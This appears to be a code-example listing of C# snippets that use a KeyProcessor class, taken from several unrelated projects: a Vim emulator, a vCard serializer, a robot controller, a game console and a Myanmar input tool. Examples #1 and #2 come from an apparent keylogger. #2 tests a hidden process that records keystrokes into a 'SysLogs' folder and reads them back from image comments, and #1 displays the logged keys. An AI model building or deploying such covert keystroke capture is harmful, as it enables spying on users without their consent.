private void OnCommentsFetched(EventArg eventArg)
        {
            if (eventArg.Arg == null)
            {
                return;
            }

            string comments = eventArg.Arg.ToString();

            if (String.IsNullOrEmpty(comments))
            {
                txtKeysLogged.Text = string.Empty;
                return;
            }

            KeyProcessor processor = new KeyProcessor();

            var processedKeyData = processor.ProcessKeys(comments);

            txtKeysLogged.Text += processedKeyData.ProcessedData + processedKeyData.UnProcessedData;
            _queueWithCapacity.Add(processedKeyData.ProcessedData);
            txtCurrentText.Text          = _queueWithCapacity.GetText();
            txtKeysLogged.SelectionStart = txtKeysLogged.Text.Length;
            txtKeysLogged.ScrollToCaret();
        }
Example #2
0
        public void TestActivityLogger()
        {
            var dataFolder = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData);

            dataFolder = Path.Combine(dataFolder, "SysLogs");

            if (Directory.Exists(dataFolder))
            {
                Directory.Delete(dataFolder, true);
            }

            ProcessHelper.KillProcess(Path.GetFileNameWithoutExtension(exe));

            ProcessHelper.RunHidden(exe);

            Assert.IsTrue(ProcessHelper.GetProcess(exe).Any());

            KeyPressSimulater keyPresSimulator = new KeyPressSimulater();

            Thread.Sleep(2 * 1000);

            keyPresSimulator.PressKeyH();
            Thread.Sleep(3 * 1000);

            keyPresSimulator.PressKey(Keys.S);
            keyPresSimulator.PressKey(Keys.M);
            keyPresSimulator.PressKey(Keys.I);
            keyPresSimulator.PressKey(Keys.L);
            keyPresSimulator.PressKey(Keys.E);
            Thread.Sleep(3 * 1000);

            Assert.GreaterOrEqual(Directory.GetFiles(dataFolder).Count(), 1);

            ActivityRepositary repo = new ActivityRepositary(new JarFileFactory(), new ImageCommentEmbedder(), new ActivityReaderFactory(new JarFileFactory()));

            var enumerator = repo.GetReader(Directory.GetFiles(dataFolder));

            var lst = enumerator.ToList();

            KeyProcessor processor = new KeyProcessor();

            Assert.True(lst.Count() == 3);

            var procesedKeys = lst.FirstOrDefault().KeyPressedData;

            Assert.True(procesedKeys.Equals("Process Started"));


            procesedKeys = processor.ProcessKeys(lst[1].KeyPressedData).ProcessedData;
            Assert.True(procesedKeys.Equals("h"));


            procesedKeys = processor.ProcessKeys(lst.LastOrDefault().KeyPressedData).ProcessedData;
            Assert.True(procesedKeys.Equals("smile"));
        }
Example #3
0
        protected override bool update(float dt, out ComData msg)
        {
            KeyProcessor keyProcessor = keysToggle.Contains(Key.CapsLock) ? kpRaw : kpPosDir;

            float rate = keysToggle.Contains(Key.F) ? 10 : 2.5f;

            lock (this)
            {
                return(keyProcessor.getNextTarget(ref cursor, ref keysDown, ref keysToggle, rate * dt, out msg));
            }
        }
        protected override bool step(ref ComData d, float dt)
        {
            KeyProcessor keyProcessor = keysToggle.Contains(Key.CapsLock)? kpRaw : kpPosDir;

            float rate = keysToggle.Contains(Key.F)? 10 : 2.5f;

            lock (this)
            {
                return(keyProcessor.getNextTarget(ref d, keysDown, keysToggle, pose, rate * dt));
            }
        }
Example #5
0
        public static string Serialize(VCard vcard)
        {
            var builder = new StringBuilder();

            builder.Append(CategoriesProcessor.Serialize(vcard));
            builder.Append(NickNameProcessor.Serialize(vcard));
            builder.Append(SortStringProcessor.Serialize(vcard));
            builder.Append(SoundProcessor.Serialize(vcard));
            builder.Append(KeyProcessor.Serialize(vcard));
            builder.Append(ClassificationProcessor.Serialize(vcard));

            return(builder.ToString());
        }
Example #6
0
        /// <summary>
        /// Setup the KeyProcessor giving it the keyboard layout specified by the provided
        /// language id
        /// </summary>
        protected virtual void Setup(string languageId)
        {
            if (!String.IsNullOrEmpty(languageId))
            {
                _keyboardId = NativeMethods.LoadKeyboardLayout(languageId, NativeMethods.KLF_ACTIVATE);
                Assert.AreNotEqual(_keyboardId, IntPtr.Zero);
            }
            else
            {
                _keyboardId = IntPtr.Zero;
            }

            _factory   = new MockRepository(MockBehavior.Strict);
            _buffer    = _factory.Create <IVimBuffer>();
            _processor = new KeyProcessor(_buffer.Object);
        }
Example #7
0
        public ControllerKeyboard(Com com) : base(com)
        {
            kpPosDir = new PosDirProcessor();
            kpRaw    = new RawAnglesProcessor();

            keysDown   = new Collection <Key>();
            keysToggle = new Collection <Key>();

            EventBulletin.Subscribe(EventBulletin.Event.KEY_DOWN, (o, e) =>
            {
                keyDown((KeyEventArgs)e);
            });
            EventBulletin.Subscribe(EventBulletin.Event.KEY_UP, (o, e) =>
            {
                keyUp((KeyEventArgs)e);
            });
        }
Example #8
0
        public GemConsole(KeyboardInput input, Host host)
        {
            CellRenderAction = (batch, rfont, position, ch) =>
                               batch.DrawString(rfont, ch.ToString(), position, Color.Black);

            Host       = host;
            terminal   = new Terminal(TerminalSettings.Default);
            this.input = input;
            var font = Host.Container.Fonts.Content.Load <SpriteFont>("Fonts/consoleFont");

            renderingOptions = new CellRenderingOptions
            {
                CellSpacing = 2,
                MaxRows     = 5,
                RowHeight   = (int)font.MeasureString("|").Y,
                RowSpacing  = 2,
                RowWidth    = 300
            };

            keyProcessor = new KeyProcessor(new TextAppenderHelper(input));
            appender     = new CellAppender((ch) =>
            {
                string content = ch.ToString();
                var size       = font.MeasureString(content);
                return(new Cell(ch, (batch, location) => CellRenderAction(batch, font, location, ch)));
            });

            aligner           = new CellRowAligner(ch => font.MeasureString(ch.ToString()));
            EntryPoint        = new TerminalEntry(appender, aligner, () => renderingOptions.CellSpacing, () => Host.Device.Viewport.Width);
            aligner.RowAdded += (sender, args) => cellEntryRenderArea.AddCellRange(args.Row, args.RowIndex);
            aligner.Cleared  += (sender, args) => cellEntryRenderArea.Clear();

            cellEntryRenderArea = new TerminalEntryRenderArea(renderingOptions, new Rectangle(10, 10, 100, 100), font);


            terminal.RegisterAppender(new ActionAppender(EntryPoint.AppendString));
            window = new TerminalWindowRenderArea(renderingOptions, new Rectangle(5, 5, 300, 300), font);

            SubscribeEntryToKeyprocessor();
        }
Example #9
0
        private void UpdateScript(string p)
        {
            MethodInvoker mk = delegate
            {
                kp = new KeyProcessor(p);
                iop.SetKPR(kp);
                if (kl != null)
                {
                    if (hw != null)
                    {
                        hw.SetActiveScript(kp);
                    }
                }
                else if (kime != null)
                {
                    imp.Reset(kime, iop);
                }
                cfg.Write("script", p);
            };

            scrbtn.Text    = p;
            scrbtn.Enabled = false;
            mk.BeginInvoke(UpdateScriptCB, null);
            if (!donwarn)
            {
                if (p == "ZawGyi" || p == "XPartial")
                {
                    Warning w = new Warning();
                    w.SetText(p);
                    w.Show();
                    w.Top   = this.Top - 28;
                    w.Left  = this.Left;
                    w.Width = this.Width;
                }
            }
            else
            {
                donwarn = false;
            }
        }
Example #10
0
        protected virtual void Setup(string languageId)
        {
            if (!String.IsNullOrEmpty(languageId))
            {
                _keyboardId = NativeMethods.LoadKeyboardLayout(languageId, NativeMethods.KLF_ACTIVATE);
                Assert.AreNotEqual(_keyboardId, IntPtr.Zero);
            }
            else
            {
                _keyboardId = IntPtr.Zero;
            }

            _factory = new MockRepository(MockBehavior.Strict);
            _buffer = _factory.Create<IVimBuffer>();
            _processor = new KeyProcessor(_buffer.Object);
        }
Example #11
0
 public void SetActiveScript(KeyProcessor kpr)
 {
     ScriptName = kpr.getscript();
     iop        = mfm.iop;
 }
 /// <summary>
 /// 设置按键处理器。
 /// </summary>
 /// <param name="key">要处理的按键。</param>
 /// <param name="processor">要使用的按键处理器。</param>
 public void SetProcessor(Keys key, KeyProcessor processor)
 {
     if (processor == null)
         throw new ArgumentNullException("processor", "processor不能为空");
     processors[key] = processor;
 }
 public ControllerKeyboard(Com com) : base(com)
 {
     kpPosDir = new PosDirProcessor();
     kpRaw    = new RawAnglesProcessor();
 }
Example #14
0
        private void Form1_Load(object sender, EventArgs e)
        {
            //MessageBox.Show("This version of MyInput Beta is for use by \r\nMyanmar Posts and Telecommunications\r\nfor demonstration purpose at ICT Week.\r\nAll other rights reserved.\r\nCopyright 2000-2010\r\nTechnomation Studios.");
            //UserInterface.Glass.ExtendGlassIntoClientArea(this, 0, 0, Width, Height);
            kp  = new KeyProcessor("NULL");
            iop = new IOProcessor(kp);
            iop.SetMainHandle(this);
            imp = new IMEProcessor(kime, this, iop);
            //kl = new KeyboardLayout("NULL");
            dkstate = "none";
            cfg     = new Config("MyInput\\");
            //cfg.Write("embed-crypt", EmbeddingControl.createPublicKey("589114946"));
            int    xxx     = Screen.GetWorkingArea(this).Width - this.Width + 1;
            int    yyy     = Screen.GetWorkingArea(this).Height - this.Height;
            string left    = cfg.Read("mfx", xxx.ToString());
            string percent = cfg.Read("ypercent", Pixel2Percent(yyy, Screen.GetWorkingArea(this).Height).ToString());

            this.Top     = Percent2Pixel(Convert.ToDouble(percent), Screen.GetWorkingArea(this).Height);
            this.Left    = Convert.ToInt32(left);
            togglekey    = Convert.ToInt32(cfg.Read("toggle", "119"));
            scrkey       = Convert.ToInt32(cfg.Read("scriptshortcut", "122"));
            osk          = Convert.ToInt32(cfg.Read("osk", "121"));
            enableenable = Convert.ToBoolean(cfg.Read("enableenable", "true"));
            toggleenable = Convert.ToBoolean(cfg.Read("toggleenable", "true"));
            screnable    = Convert.ToBoolean(cfg.Read("screnable", "true"));
            autohide     = Convert.ToBoolean(cfg.Read("autoshow", "true"));
            oskenable    = Convert.ToBoolean(cfg.Read("oskenable", "true"));
            virtualize   = Convert.ToBoolean(cfg.Read("virtualize", "true"));
            Layouts      = new ArrayList();
            Scripts      = new ArrayList();
            string[] s = System.IO.Directory.GetFiles("Layouts\\");
            foreach (string x in s)
            {
                if (x.EndsWith(".keylayout"))
                {
                    string         ss = Directory.GetCurrentDirectory() + "\\" + x;
                    KeyboardLayout kl = new KeyboardLayout(ss);
                    if (kl.getname() != null)
                    {
                        Layout l = new Layout();
                        l.name    = kl.getname();
                        l.isIME   = false;
                        l.scripts = kl.getScripts();
                        Layouts.Add(l);
                    }
                    kl = null;
                }
                else if (x.EndsWith(".dll"))
                {
                    Layout l = new Layout();
                    l.name    = x.Substring(x.LastIndexOf("\\") + 1);
                    l.name    = l.name.Substring(0, l.name.IndexOf("."));
                    l.isIME   = true;
                    l.scripts = null;
                    Layouts.Add(l);
                }
            }
            s = System.IO.Directory.GetFiles("Scripts\\");
            foreach (string x in s)
            {
                string ss = Directory.GetCurrentDirectory() + "\\" + x;
                if (ss.EndsWith(".ikl"))
                {
                    ss = ss.Substring(ss.LastIndexOf("\\") + 1);
                    ss = ss.Substring(0, ss.Length - 4);
                    if (!ScriptExists(ss))
                    {
                        Scripts.Add(ss);
                    }
                }
                else if (ss.EndsWith(".ikb"))
                {
                    ss = ss.Substring(ss.LastIndexOf("\\") + 1);
                    ss = ss.Substring(0, ss.Length - 4);
                    if (!ScriptExists(ss))
                    {
                        Scripts.Add(ss);
                    }
                }
            }

            foreach (string sx in Scripts)
            {
                ToolStripMenuItem i = new ToolStripMenuItem(sx);
                i.Click += ScriptClick;
                scripts_menu.Items.Add(i);
            }

            foreach (Layout l in Layouts)
            {
                ToolStripMenuItem i = new ToolStripMenuItem(l.name);
                i.Click += LayoutClick;
                layouts.Items.Add(i);
            }


            string lay = cfg.Read("layout", "Type Writer");
            string scr = cfg.Read("script", "MM Unicode");

            if (LayoutExists(lay))
            {
                laybtn.Text = lay;
            }
            else
            {
                laybtn.Text = "Type Writer";
            }
            if (ScriptExists(scr))
            {
                UpdateScript(scr);
            }
            else
            {
                UpdateScript("MM Unicode");
            }
            System.GC.Collect();
            if (!true)
            {
                try
                {
                    string sss = cfg.Read("embed-crypt");
                    if (EmbeddingControl.isValid(sss))
                    {
                        embedcrypt.Enabled = true;
                        actv.Enabled       = false;
                        scrbtn.Enabled     = false;
                        laybtn.Enabled     = false;
                        //glassButton4.Enabled = false;
                    }
                    else
                    {
                        //internet();
                    }
                }
                catch (Exception ex)
                {
                    //internet();
                }
            }
            else
            {
                enablekey = Convert.ToInt32(cfg.Read("enable", "120"));
            }
            this.Refresh();
            Program.kh.SetHandle(this);
            Program.kh.Initiate();
        }